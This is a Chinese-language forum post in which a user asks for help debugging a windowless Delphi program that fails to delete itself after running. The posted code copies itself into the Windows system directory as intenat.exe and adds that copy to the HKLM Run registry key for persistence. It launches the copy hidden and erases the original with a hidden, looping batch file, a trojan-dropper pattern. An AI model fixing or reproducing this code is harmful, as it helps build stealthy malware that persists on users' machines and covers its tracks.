大
大狗熊
Unregistered / Unconfirmed
GUEST, unregistred user!
我写一个程序,是没有窗体界面的<br>需要结束后自删除,但是总搞不好,现将主要代码贴出,请高手指点<br><br>procedure ExtDelMe;<br>var<br> F: textfile;<br> BatchFileName: string;<br> ProcessInfo: TProcessInformation;<br> StartUpInfo: TStartupInfo;<br>begin<br>GetSystemDirectory(sysdir,256);<br> //DelValue(HKEY_CURRENT_USER, 'Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp', 'NoRealMode');<br> BatchFileName := sysdir + '/Deleteme.bat';<br> AssignFile(F, BatchFileName);<br> Rewrite(F);<br> WriteLn(F, ':try');<br> WriteLn(F, 'del "' + ParamStr(0) + '"');<br> WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto try');<br> WriteLn(F, 'del %0');<br> CloseFile(F);<br> FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);<br> StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;<br> StartUpInfo.wShowWindow := SW_HIDE;<br> if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then<br> begin<br> CloseHandle(ProcessInfo.hThread);<br> CloseHandle(ProcessInfo.hProcess);<br> end;<br>end;<br>//这个是自删除过程<br><br><br><br>begin<br> if FileExists(sysdir+'/intenat.exe') then CreateMutex(nil, True,'intenat');//设置一个内存标示~防止程序多次运行<br> if (GetlastError() <> ERROR_ALREADY_EXISTS) then<br>begin<br> GetSystemDirectory(sysdir,256);<br> if not FileExists(sysdir+'/intenat.exe') then<br> begin<br> copyfile(pchar(paramstr(0)),pchar(sysdir+'/intenat.exe'),true);<br> RegCreateKey(HKEY_LOCAL_MACHINE,'software/microsoft/windows/currentVersion/run',ret2);<br> RegSetValue(Ret2, nil, REG_SZ,Pchar(sysdir+'/intenat.exe'),4);<br> RegCloseKey(Ret2);<br> WinExec(pchar(sysdir+'/intenat.exe'), SW_HIDE);<br> sleep(6000);<br> //exitProcess(0); //这个东西不能用,用了就整个退出了进程,呵呵,下面的不执行了<br> ExtDelMe;<br><br><br> end;<br> end;<br><br><br><br>hTimer1 := SetTimer(0, 0, 1, @TimerProc1);<br>hTimer2 := SetTimer(0, 0, strtoint(time)*1000, @TimerProc2);<br><br>while(GetMessage(Msg,0,0,0))do <br>begin<br> TranslateMessage(Msg);<br> DispatchMessage(Msg);<br>end;